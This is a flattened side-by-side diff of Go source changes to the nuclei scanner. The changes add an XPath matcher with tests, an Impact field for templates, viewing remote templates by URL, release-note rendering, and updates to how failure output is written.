golang.org/x/text v0.12.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= golang.org/x/text v0.12.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE=
golang.org/x/time v0.3.0 h1:rg5rLMjNzMS1RkNLzCG38eapWhnYLFYXDXj2gOlr8j4= golang.org/x/time v0.3.0 h1:rg5rLMjNzMS1RkNLzCG38eapWhnYLFYXDXj2gOlr8j4=
golang.org/x/time v0.3.0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.3.0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
golang.org/x/tools v0.0.0-20190328211700-ab21143f2384/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= golang.org/x/tools v0.0.0-20190328211700-ab21143f2384/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
golang.org/x/tools v0.0.0-20190729092621-ff9f1409240a/go.mod h1:jcCCGcm9btYwXyDqrUWc6MKQKKGJCWEQ3AfLSRIbEuI= golang.org/x/tools v0.0.0-20190729092621-ff9f1409240a/go.mod h1:jcCCGcm9btYwXyDqrUWc6MKQKKGJCWEQ3AfLSRIbEuI=
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191216052735-49a3e744a425/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20191216052735-49a3e744a425/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.1.5/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU=
golang.org/x/tools v0.11.0 h1:EMCa6U9S2LtZXLAMoWiR/R8dAQFRqbAitmbJ2UKhoi8= golang.org/x/tools v0.12.1-0.20230815132531-74c255bcf846 h1:Vve/L0v7CXXuxUmaMGIEK/dEeq7uiqb5qBgQrZzIE7E=
golang.org/x/tools v0.11.0/go.mod h1:anzJrxPjNtfgiYQYirP2CPGzGLxrH2u2QBhn6Bf3qY8= golang.org/x/tools v0.12.1-0.20230815132531-74c255bcf846/go.mod h1:Sc0INKfu04TlqNoRA1hgpFZbhYXHPr4V5DzpSBTPqQM=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM=
google.golang.org/appengine v1.6.7 h1:FZR1q0exgwxzPzp/aF+VccGrSfxfPpkBqjIIEq3ru6c= google.golang.org/appengine v1.6.7 h1:FZR1q0exgwxzPzp/aF+VccGrSfxfPpkBqjIIEq3ru6c=
google.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= google.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc=

View File

@ -12,6 +12,7 @@ import (
"strconv" "strconv"
"strings" "strings"
"github.com/charmbracelet/glamour"
"github.com/olekukonko/tablewriter" "github.com/olekukonko/tablewriter"
"github.com/projectdiscovery/gologger" "github.com/projectdiscovery/gologger"
"github.com/projectdiscovery/nuclei/v2/pkg/catalog/config" "github.com/projectdiscovery/nuclei/v2/pkg/catalog/config"
@ -29,6 +30,7 @@ const (
var ( var (
HideProgressBar = true HideProgressBar = true
HideUpdateChangesTable = false HideUpdateChangesTable = false
HideReleaseNotes = true
) )
// TemplateUpdateResults contains the results of template update // TemplateUpdateResults contains the results of template update
@ -105,6 +107,7 @@ func (t *TemplateManager) installTemplatesAt(dir string) error {
if err != nil { if err != nil {
return errorutil.NewWithErr(err).Msgf("failed to install templates at %s", dir) return errorutil.NewWithErr(err).Msgf("failed to install templates at %s", dir)
} }
// write templates to disk // write templates to disk
if err := t.writeTemplatesToDisk(ghrd, dir); err != nil { if err := t.writeTemplatesToDisk(ghrd, dir); err != nil {
return errorutil.NewWithErr(err).Msgf("failed to write templates to disk at %s", dir) return errorutil.NewWithErr(err).Msgf("failed to write templates to disk at %s", dir)
@ -313,6 +316,21 @@ func (t *TemplateManager) writeTemplatesToDisk(ghrd *updateutils.GHReleaseDownlo
return errorutil.NewWithErr(err).Msgf("failed to write nuclei templates index") return errorutil.NewWithErr(err).Msgf("failed to write nuclei templates index")
} }
if !HideReleaseNotes {
output := ghrd.Latest.GetBody()
// adjust colors for both dark / light terminal themes
r, err := glamour.NewTermRenderer(glamour.WithAutoStyle())
if err != nil {
gologger.Error().Msgf("markdown rendering not supported: %v", err)
}
if rendered, err := r.Render(output); err == nil {
output = rendered
} else {
gologger.Error().Msg(err.Error())
}
gologger.Print().Msgf("\n%v\n\n", output)
}
// after installation, create and write checksums to .checksum file // after installation, create and write checksums to .checksum file
return t.writeChecksumFileInDir(dir) return t.writeChecksumFileInDir(dir)
} }

View File

@ -15,6 +15,7 @@ import (
"github.com/projectdiscovery/nuclei/v2/internal/installer" "github.com/projectdiscovery/nuclei/v2/internal/installer"
"github.com/projectdiscovery/nuclei/v2/internal/runner/nucleicloud" "github.com/projectdiscovery/nuclei/v2/internal/runner/nucleicloud"
uncoverlib "github.com/projectdiscovery/uncover" uncoverlib "github.com/projectdiscovery/uncover"
permissionutil "github.com/projectdiscovery/utils/permission"
updateutils "github.com/projectdiscovery/utils/update" updateutils "github.com/projectdiscovery/utils/update"
"github.com/logrusorgru/aurora" "github.com/logrusorgru/aurora"
@ -309,6 +310,15 @@ func New(options *types.Options) (*Runner, error) {
if httpclient != nil { if httpclient != nil {
opts.HTTPClient = httpclient opts.HTTPClient = httpclient
} }
if opts.HTTPClient == nil {
httpOpts := retryablehttp.DefaultOptionsSingle
httpOpts.Timeout = 20 * time.Second // for stability reasons
if options.Timeout > 20 {
httpOpts.Timeout = time.Duration(options.Timeout) * time.Second
}
// in testing it was found most of times when interactsh failed, it was due to failure in registering /polling requests
opts.HTTPClient = retryablehttp.NewClient(retryablehttp.DefaultOptionsSingle)
}
interactshClient, err := interactsh.New(opts) interactshClient, err := interactsh.New(opts)
if err != nil { if err != nil {
gologger.Error().Msgf("Could not create interactsh client: %s", err) gologger.Error().Msgf("Could not create interactsh client: %s", err)
@ -713,7 +723,7 @@ func (r *Runner) SaveResumeConfig(path string) error {
resumeCfgClone.ResumeFrom = resumeCfgClone.Current resumeCfgClone.ResumeFrom = resumeCfgClone.Current
data, _ := json.MarshalIndent(resumeCfgClone, "", "\t") data, _ := json.MarshalIndent(resumeCfgClone, "", "\t")
return os.WriteFile(path, data, os.ModePerm) return os.WriteFile(path, data, permissionutil.ConfigFilePermission)
} }
type WalkFunc func(reflect.Value, reflect.StructField) type WalkFunc func(reflect.Value, reflect.StructField)

View File

@ -2,7 +2,6 @@ package runner
import ( import (
"bytes" "bytes"
"os"
"path/filepath" "path/filepath"
"strings" "strings"
@ -45,14 +44,12 @@ func (r *Runner) listAvailableStoreTemplates(store *loader.Store) {
if hasExtraFlags(r.options) { if hasExtraFlags(r.options) {
if r.options.TemplateDisplay { if r.options.TemplateDisplay {
colorize := !r.options.NoColor colorize := !r.options.NoColor
path := tpl.Path path := tpl.Path
tplBody, err := os.ReadFile(path) tplBody, err := store.ReadTemplateFromURI(path, true)
if err != nil { if err != nil {
gologger.Error().Msgf("Could not read the template %s: %s", path, err) gologger.Error().Msgf("Could not read the template %s: %s", path, err)
continue continue
} }
if colorize { if colorize {
path = aurora.Cyan(tpl.Path).String() path = aurora.Cyan(tpl.Path).String()
tplBody, err = r.highlightTemplate(&tplBody) tplBody, err = r.highlightTemplate(&tplBody)
@ -60,7 +57,6 @@ func (r *Runner) listAvailableStoreTemplates(store *loader.Store) {
gologger.Error().Msgf("Could not highlight the template %s: %s", tpl.Path, err) gologger.Error().Msgf("Could not highlight the template %s: %s", tpl.Path, err)
continue continue
} }
} }
gologger.Silent().Msgf("Template: %s\n\n%s", path, tplBody) gologger.Silent().Msgf("Template: %s\n\n%s", path, tplBody)
} else { } else {

View File

@ -1,8 +1,12 @@
package loader package loader
import ( import (
"fmt"
"io"
"net/url"
"os" "os"
"sort" "sort"
"strings"
"github.com/pkg/errors" "github.com/pkg/errors"
"github.com/projectdiscovery/gologger" "github.com/projectdiscovery/gologger"
@ -17,6 +21,15 @@ import (
"github.com/projectdiscovery/nuclei/v2/pkg/types" "github.com/projectdiscovery/nuclei/v2/pkg/types"
"github.com/projectdiscovery/nuclei/v2/pkg/utils/stats" "github.com/projectdiscovery/nuclei/v2/pkg/utils/stats"
"github.com/projectdiscovery/nuclei/v2/pkg/workflows" "github.com/projectdiscovery/nuclei/v2/pkg/workflows"
"github.com/projectdiscovery/retryablehttp-go"
errorutil "github.com/projectdiscovery/utils/errors"
stringsutil "github.com/projectdiscovery/utils/strings"
urlutil "github.com/projectdiscovery/utils/url"
)
const (
httpPrefix = "http://"
httpsPrefix = "https://"
) )
// Config contains the configuration options for the loader // Config contains the configuration options for the loader
@ -121,6 +134,30 @@ func New(config *Config) (*Store, error) {
finalWorkflows: config.Workflows, finalWorkflows: config.Workflows,
} }
// Do a check to see if we have URLs in templates flag, if so
// we need to processs them separately and remove them from the initial list
var templatesFinal []string
for _, template := range config.Templates {
// TODO: Add and replace this with urlutil.IsURL() helper
if stringsutil.HasPrefixAny(template, httpPrefix, httpsPrefix) {
config.TemplateURLs = append(config.TemplateURLs, template)
} else {
templatesFinal = append(templatesFinal, template)
}
}
// fix editor paths
remoteTemplates := []string{}
for _, v := range config.TemplateURLs {
if _, err := urlutil.Parse(v); err == nil {
remoteTemplates = append(remoteTemplates, handleTemplatesEditorURLs(v))
} else {
templatesFinal = append(templatesFinal, v) // something went wrong, treat it as a file
}
}
config.TemplateURLs = remoteTemplates
store.finalTemplates = templatesFinal
urlBasedTemplatesProvided := len(config.TemplateURLs) > 0 || len(config.WorkflowURLs) > 0 urlBasedTemplatesProvided := len(config.TemplateURLs) > 0 || len(config.WorkflowURLs) > 0
if urlBasedTemplatesProvided { if urlBasedTemplatesProvided {
remoteTemplates, remoteWorkflows, err := getRemoteTemplatesAndWorkflows(config.TemplateURLs, config.WorkflowURLs, config.RemoteTemplateDomainList) remoteTemplates, remoteWorkflows, err := getRemoteTemplatesAndWorkflows(config.TemplateURLs, config.WorkflowURLs, config.RemoteTemplateDomainList)
@ -146,6 +183,43 @@ func New(config *Config) (*Store, error) {
return store, nil return store, nil
} }
func handleTemplatesEditorURLs(input string) string {
parsed, err := url.Parse(input)
if err != nil {
return input
}
if !strings.HasSuffix(parsed.Hostname(), "templates.nuclei.sh") {
return input
}
if strings.HasSuffix(parsed.Path, ".yaml") {
return input
}
parsed.Path = fmt.Sprintf("%s.yaml", parsed.Path)
finalURL := parsed.String()
return finalURL
}
// ReadTemplateFromURI should only be used for viewing templates
// and should not be used anywhere else like loading and executing templates
// there is no sandbox restriction here
func (store *Store) ReadTemplateFromURI(uri string, remote bool) ([]byte, error) {
if stringsutil.HasPrefixAny(uri, httpPrefix, httpsPrefix) && remote {
uri = handleTemplatesEditorURLs(uri)
remoteTemplates, _, err := getRemoteTemplatesAndWorkflows([]string{uri}, nil, store.config.RemoteTemplateDomainList)
if err != nil || len(remoteTemplates) == 0 {
return nil, errorutil.NewWithErr(err).Msgf("Could not load template %s: got %v", uri, remoteTemplates)
}
resp, err := retryablehttp.Get(remoteTemplates[0])
if err != nil {
return nil, err
}
defer resp.Body.Close()
return io.ReadAll(resp.Body)
} else {
return os.ReadFile(uri)
}
}
// Templates returns all the templates in the store // Templates returns all the templates in the store
func (store *Store) Templates() []*templates.Template { func (store *Store) Templates() []*templates.Template {
return store.templates return store.templates

View File

@ -56,7 +56,6 @@ func getRemoteTemplatesAndWorkflows(templateURLs, workflowURLs, remoteTemplateDo
} }
} }
} }
return remoteTemplateList, remoteWorkFlowList, err return remoteTemplateList, remoteWorkFlowList, err
} }

View File

@ -40,6 +40,15 @@ type Info struct {
// - value: "\"Subversion ALM for the enterprise before 8.8.2 allows reflected XSS at multiple locations\"" // - value: "\"Subversion ALM for the enterprise before 8.8.2 allows reflected XSS at multiple locations\""
Description string `json:"description,omitempty" yaml:"description,omitempty" jsonschema:"title=description of the template,description=In-depth explanation on what the template does,example=Bower is a package manager which stores package information in the bower.json file"` Description string `json:"description,omitempty" yaml:"description,omitempty" jsonschema:"title=description of the template,description=In-depth explanation on what the template does,example=Bower is a package manager which stores package information in the bower.json file"`
// description: | // description: |
// Impact of the template.
//
// You can go in-depth here on impact of the template.
//
// examples:
// - value: "\"Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.\""
// - value: "\"Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.\""
Impact string `json:"impact,omitempty" yaml:"impact,omitempty" jsonschema:"title=impact of the template,description=In-depth explanation on the impact of the issue found by the template,example=Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation."`
// description: |
// References for the template. // References for the template.
// //
// This should contain links relevant to the template. // This should contain links relevant to the template.

View File

@ -19,10 +19,10 @@ var (
) )
func init() { func init() {
_ = dsl.AddMultiSignatureHelperFunction("resolve", []string{ _ = dsl.AddFunction(dsl.NewWithMultipleSignatures("resolve", []string{
"(host string) string", "(host string) string",
"(format string) string", "(format string) string",
}, func(args ...interface{}) (interface{}, error) { }, false, func(args ...interface{}) (interface{}, error) {
argCount := len(args) argCount := len(args)
if argCount == 0 || argCount > 2 { if argCount == 0 || argCount > 2 {
return nil, dsl.ErrInvalidDslFunction return nil, dsl.ErrInvalidDslFunction
@ -94,7 +94,7 @@ func init() {
} }
return "", fmt.Errorf("no records found") return "", fmt.Errorf("no records found")
}) }))
dsl.PrintDebugCallback = func(args ...interface{}) error { dsl.PrintDebugCallback = func(args ...interface{}) error {
gologger.Info().Msgf("print_debug value: %s", fmt.Sprint(args)) gologger.Info().Msgf("print_debug value: %s", fmt.Sprint(args))

View File

@ -5,6 +5,8 @@ import (
"strings" "strings"
"github.com/Knetic/govaluate" "github.com/Knetic/govaluate"
"github.com/antchfx/htmlquery"
"github.com/antchfx/xmlquery"
dslRepo "github.com/projectdiscovery/dsl" dslRepo "github.com/projectdiscovery/dsl"
"github.com/projectdiscovery/gologger" "github.com/projectdiscovery/gologger"
@ -226,6 +228,88 @@ func (matcher *Matcher) MatchDSL(data map[string]interface{}) bool {
return false return false
} }
// MatchXPath matches on a generic map result
func (matcher *Matcher) MatchXPath(corpus string) bool {
if strings.HasPrefix(corpus, "<?xml") {
return matcher.MatchXML(corpus)
}
return matcher.MatchHTML(corpus)
}
// MatchHTML matches items from HTML using XPath selectors
func (matcher *Matcher) MatchHTML(corpus string) bool {
doc, err := htmlquery.Parse(strings.NewReader(corpus))
if err != nil {
return false
}
matches := 0
for _, k := range matcher.XPath {
nodes, err := htmlquery.QueryAll(doc, k)
if err != nil {
continue
}
// Continue if the xpath doesn't return any nodes
if len(nodes) == 0 {
// If we are in an AND request and a match failed,
// return false as the AND condition fails on any single mismatch.
switch matcher.condition {
case ANDCondition:
return false
case ORCondition:
continue
}
}
// If the condition was an OR, return on the first match.
if matcher.condition == ORCondition && !matcher.MatchAll {
return true
}
matches = matches + len(nodes)
}
return matches > 0
}
// MatchXML matches items from XML using XPath selectors
func (matcher *Matcher) MatchXML(corpus string) bool {
doc, err := xmlquery.Parse(strings.NewReader(corpus))
if err != nil {
return false
}
matches := 0
for _, k := range matcher.XPath {
nodes, err := xmlquery.QueryAll(doc, k)
if err != nil {
continue
}
// Continue if the xpath doesn't return any nodes
if len(nodes) == 0 {
// If we are in an AND request and a match failed,
// return false as the AND condition fails on any single mismatch.
switch matcher.condition {
case ANDCondition:
return false
case ORCondition:
continue
}
}
// If the condition was an OR, return on the first match.
if matcher.condition == ORCondition && !matcher.MatchAll {
return true
}
matches = matches + len(nodes)
}
return matches > 0
}
// ignoreErr checks if the error is to be ignored or not // ignoreErr checks if the error is to be ignored or not
// Reference: https://github.com/projectdiscovery/nuclei/issues/3950 // Reference: https://github.com/projectdiscovery/nuclei/issues/3950
func (m *Matcher) ignoreErr(err error) bool { func (m *Matcher) ignoreErr(err error) bool {

View File

@ -89,3 +89,123 @@ func TestMatcher_MatchDSL(t *testing.T) {
require.True(t, isMatched) require.True(t, isMatched)
} }
} }
func TestMatcher_MatchXPath_HTML(t *testing.T) {
body := `<!doctype html>
<html>
<head>
<title>Example Domain</title>
<meta charset="utf-8" />
<meta http-equiv="Content-type" content="text/html; charset=utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
</head>
<body>
<div>
<h1>Example Domain</h1>
<p>This domain is for use in illustrative examples in documents. You may use this
domain in literature without prior coordination or asking for permission.</p>
<p><a href="https://www.iana.org/domains/example">More information...</a></p>
</div>
</body>
</html>
`
body2 := `<!doctype html>
<html>
<head>
<title>Example Domain</title>
</head>
<body>
<h1> It's test time! </h1>
</body>
</html>
`
// single match
m := &Matcher{Type: MatcherTypeHolder{MatcherType: XPathMatcher}, XPath: []string{"/html/body/div/p[2]/a"}}
err := m.CompileMatchers()
require.Nil(t, err)
isMatched := m.MatchXPath(body)
require.True(t, isMatched, "Could not match valid XPath")
isMatched = m.MatchXPath("<h1>aaaaaaaaa")
require.False(t, isMatched, "Could match invalid XPath")
// OR match
m = &Matcher{Type: MatcherTypeHolder{MatcherType: XPathMatcher}, Condition: "or", XPath: []string{"/html/head/title[contains(text(), 'PATRICAAA')]", "/html/body/div/p[2]/a"}}
err = m.CompileMatchers()
require.Nil(t, err)
isMatched = m.MatchXPath(body)
require.True(t, isMatched, "Could not match valid multi-XPath with OR condition")
isMatched = m.MatchXPath(body2)
require.False(t, isMatched, "Could match invalid multi-XPath with OR condition")
// AND match
m = &Matcher{Type: MatcherTypeHolder{MatcherType: XPathMatcher}, Condition: "and", XPath: []string{"/html/head/title[contains(text(), 'Example Domain')]", "/html/body/div/p[2]/a"}}
err = m.CompileMatchers()
require.Nil(t, err)
isMatched = m.MatchXPath(body)
require.True(t, isMatched, "Could not match valid multi-XPath with AND condition")
isMatched = m.MatchXPath(body2)
require.False(t, isMatched, "Could match invalid multi-XPath with AND condition")
// invalid xpath
m = &Matcher{Type: MatcherTypeHolder{MatcherType: XPathMatcher}, XPath: []string{"//a[@a==1]"}}
_ = m.CompileMatchers()
isMatched = m.MatchXPath(body)
require.False(t, isMatched, "Invalid xpath did not return false")
}
func TestMatcher_MatchXPath_XML(t *testing.T) {
body := `<?xml version="1.0" encoding="utf-8"?><foo>bar</foo><wibble id="1" /><parent><child>baz</child></parent>`
body2 := `<?xml version="1.0" encoding="utf-8"?><test>bar</test><wibble2 id="1" /><roditelj><dijete>alo</dijete></roditelj>`
// single match
m := &Matcher{Type: MatcherTypeHolder{MatcherType: XPathMatcher}, XPath: []string{"//foo[contains(text(), 'bar')]"}}
err := m.CompileMatchers()
require.Nil(t, err)
isMatched := m.MatchXPath(body)
require.True(t, isMatched, "Could not match valid XPath")
isMatched = m.MatchXPath("<h1>aaaaaaaaa</h1>")
require.False(t, isMatched, "Could match invalid XPath")
// OR match
m = &Matcher{Type: MatcherTypeHolder{MatcherType: XPathMatcher}, Condition: "or", XPath: []string{"/foo[contains(text(), 'PATRICAAA')]", "/parent/child"}}
err = m.CompileMatchers()
require.Nil(t, err)
isMatched = m.MatchXPath(body)
require.True(t, isMatched, "Could not match valid multi-XPath with OR condition")
isMatched = m.MatchXPath(body2)
require.False(t, isMatched, "Could match invalid multi-XPath with OR condition")
// AND match
m = &Matcher{Type: MatcherTypeHolder{MatcherType: XPathMatcher}, Condition: "and", XPath: []string{"/foo[contains(text(), 'bar')]", "/parent/child"}}
err = m.CompileMatchers()
require.Nil(t, err)
isMatched = m.MatchXPath(body)
require.True(t, isMatched, "Could not match valid multi-XPath with AND condition")
isMatched = m.MatchXPath(body2)
require.False(t, isMatched, "Could match invalid multi-XPath with AND condition")
// invalid xpath
m = &Matcher{Type: MatcherTypeHolder{MatcherType: XPathMatcher}, XPath: []string{"//a[@a==1]"}}
_ = m.CompileMatchers()
isMatched = m.MatchXPath(body)
require.False(t, isMatched, "Invalid xpath did not return false")
// invalid xml
isMatched = m.MatchXPath("<h1> not right <q id=2/>notvalid")
require.False(t, isMatched, "Invalid xpath did not return false")
}

View File

@ -94,6 +94,16 @@ type Matcher struct {
// []string{"!contains(tolower(all_headers), ''strict-transport-security'')"} // []string{"!contains(tolower(all_headers), ''strict-transport-security'')"}
DSL []string `yaml:"dsl,omitempty" json:"dsl,omitempty" jsonschema:"title=dsl expressions to match in response,description=DSL are the dsl expressions that will be evaluated as part of nuclei matching rules"` DSL []string `yaml:"dsl,omitempty" json:"dsl,omitempty" jsonschema:"title=dsl expressions to match in response,description=DSL are the dsl expressions that will be evaluated as part of nuclei matching rules"`
// description: | // description: |
// XPath are the xpath queries expressions that will be evaluated against the response part.
// examples:
// - name: XPath Matcher to check a title
// value: >
// []string{"/html/head/title[contains(text(), 'How to Find XPath')]"}
// - name: XPath Matcher for finding links with target="_blank"
// value: >
// []string{"//a[@target="_blank"]"}
XPath []string `yaml:"xpath,omitempty" json:"xpath,omitempty" jsonschema:"title=xpath queries to match in response,description=xpath are the XPath queries that will be evaluated against the response part of nuclei matching rules"`
// description: |
// Encoding specifies the encoding for the words field if any. // Encoding specifies the encoding for the words field if any.
// values: // values:
// - "hex" // - "hex"

View File

@ -25,6 +25,8 @@ const (
SizeMatcher SizeMatcher
// name:dsl // name:dsl
DSLMatcher DSLMatcher
// name:xpath
XPathMatcher
limit limit
) )
@ -36,6 +38,7 @@ var MatcherTypes = map[MatcherType]string{
RegexMatcher: "regex", RegexMatcher: "regex",
BinaryMatcher: "binary", BinaryMatcher: "binary",
DSLMatcher: "dsl", DSLMatcher: "dsl",
XPathMatcher: "xpath",
} }
// GetType returns the type of the matcher // GetType returns the type of the matcher

View File

@ -6,6 +6,7 @@ import (
"reflect" "reflect"
"strings" "strings"
"github.com/antchfx/xpath"
sliceutil "github.com/projectdiscovery/utils/slice" sliceutil "github.com/projectdiscovery/utils/slice"
"gopkg.in/yaml.v3" "gopkg.in/yaml.v3"
) )
@ -38,8 +39,23 @@ func (matcher *Matcher) Validate() error {
expectedFields = append(commonExpectedFields, "Binary", "Part", "Encoding", "CaseInsensitive") expectedFields = append(commonExpectedFields, "Binary", "Part", "Encoding", "CaseInsensitive")
case RegexMatcher: case RegexMatcher:
expectedFields = append(commonExpectedFields, "Regex", "Part", "Encoding", "CaseInsensitive") expectedFields = append(commonExpectedFields, "Regex", "Part", "Encoding", "CaseInsensitive")
case XPathMatcher:
expectedFields = append(commonExpectedFields, "XPath", "Part")
} }
return checkFields(matcher, matcherMap, expectedFields...)
if err = checkFields(matcher, matcherMap, expectedFields...); err != nil {
return err
}
// validate the XPath query
if matcher.matcherType == XPathMatcher {
for _, query := range matcher.XPath {
if _, err = xpath.Compile(query); err != nil {
return err
}
}
}
return nil
} }
func checkFields(m *Matcher, matcherMap map[string]interface{}, expectedFields ...string) error { func checkFields(m *Matcher, matcherMap map[string]interface{}, expectedFields ...string) error {

View File

@ -15,4 +15,17 @@ func TestValidate(t *testing.T) {
m = &Matcher{matcherType: DSLMatcher, Part: "test"} m = &Matcher{matcherType: DSLMatcher, Part: "test"}
err = m.Validate() err = m.Validate()
require.NotNil(t, err, "Invalid template was correctly validated") require.NotNil(t, err, "Invalid template was correctly validated")
m = &Matcher{matcherType: XPathMatcher, XPath: []string{"//q[@id=\"foo\"]"}}
err = m.Validate()
require.Nil(t, err, "Could not validate correct XPath template")
m = &Matcher{matcherType: XPathMatcher, Status: []int{123}}
err = m.Validate()
require.NotNil(t, err, "Invalid XPath template was correctly validated")
m = &Matcher{matcherType: XPathMatcher, XPath: []string{"//a[@a==1]"}}
err = m.Validate()
require.NotNil(t, err, "Invalid XPath query was correctly validated")
} }

View File

@ -8,9 +8,11 @@ import (
"regexp" "regexp"
"strings" "strings"
"sync" "sync"
"sync/atomic"
"time" "time"
"github.com/pkg/errors" "github.com/pkg/errors"
"go.uber.org/multierr"
jsoniter "github.com/json-iterator/go" jsoniter "github.com/json-iterator/go"
"github.com/logrusorgru/aurora" "github.com/logrusorgru/aurora"
@ -36,7 +38,7 @@ type Writer interface {
// Write writes the event to file and/or screen. // Write writes the event to file and/or screen.
Write(*ResultEvent) error Write(*ResultEvent) error
// WriteFailure writes the optional failure event for template to file and/or screen. // WriteFailure writes the optional failure event for template to file and/or screen.
WriteFailure(event InternalEvent) error WriteFailure(*InternalWrappedEvent) error
// Request logs a request in the trace log // Request logs a request in the trace log
Request(templateID, url, requestType string, err error) Request(templateID, url, requestType string, err error)
// WriteStoreDebugData writes the request/response debug data to file // WriteStoreDebugData writes the request/response debug data to file
@ -76,6 +78,9 @@ type InternalWrappedEvent struct {
Results []*ResultEvent Results []*ResultEvent
OperatorsResult *operators.Result OperatorsResult *operators.Result
UsesInteractsh bool UsesInteractsh bool
// Only applicable if interactsh is used
// This is used to avoid duplicate successful interactsh events
InteractshMatched atomic.Bool
} }
func (iwe *InternalWrappedEvent) HasOperatorResult() bool { func (iwe *InternalWrappedEvent) HasOperatorResult() bool {
@ -210,7 +215,7 @@ func NewStandardWriter(options *types.Options) (*StandardWriter, error) {
func (w *StandardWriter) Write(event *ResultEvent) error { func (w *StandardWriter) Write(event *ResultEvent) error {
// Enrich the result event with extra metadata on the template-path and url. // Enrich the result event with extra metadata on the template-path and url.
if event.TemplatePath != "" { if event.TemplatePath != "" {
event.Template, event.TemplateURL = utils.TemplatePathURL(types.ToString(event.TemplatePath)) event.Template, event.TemplateURL = utils.TemplatePathURL(types.ToString(event.TemplatePath), types.ToString(event.TemplateID))
} }
event.Timestamp = time.Now() event.Timestamp = time.Now()
@ -302,11 +307,27 @@ func (w *StandardWriter) Close() {
} }
// WriteFailure writes the failure event for template to file and/or screen. // WriteFailure writes the failure event for template to file and/or screen.
func (w *StandardWriter) WriteFailure(event InternalEvent) error { func (w *StandardWriter) WriteFailure(wrappedEvent *InternalWrappedEvent) error {
if !w.matcherStatus { if !w.matcherStatus {
return nil return nil
} }
templatePath, templateURL := utils.TemplatePathURL(types.ToString(event["template-path"])) if len(wrappedEvent.Results) > 0 {
errs := []error{}
for _, result := range wrappedEvent.Results {
result.MatcherStatus = false // just in case
if err := w.Write(result); err != nil {
errs = append(errs, err)
}
}
if len(errs) > 0 {
return multierr.Combine(errs...)
}
return nil
}
// if no results were found, manually create a failure event
event := wrappedEvent.InternalEvent
templatePath, templateURL := utils.TemplatePathURL(types.ToString(event["template-path"]), types.ToString(event["template-id"]))
var templateInfo model.Info var templateInfo model.Info
if event["template-info"] != nil { if event["template-info"] != nil {
templateInfo = event["template-info"].(model.Info) templateInfo = event["template-info"].(model.Info)
@ -319,6 +340,8 @@ func (w *StandardWriter) WriteFailure(event InternalEvent) error {
Info: templateInfo, Info: templateInfo,
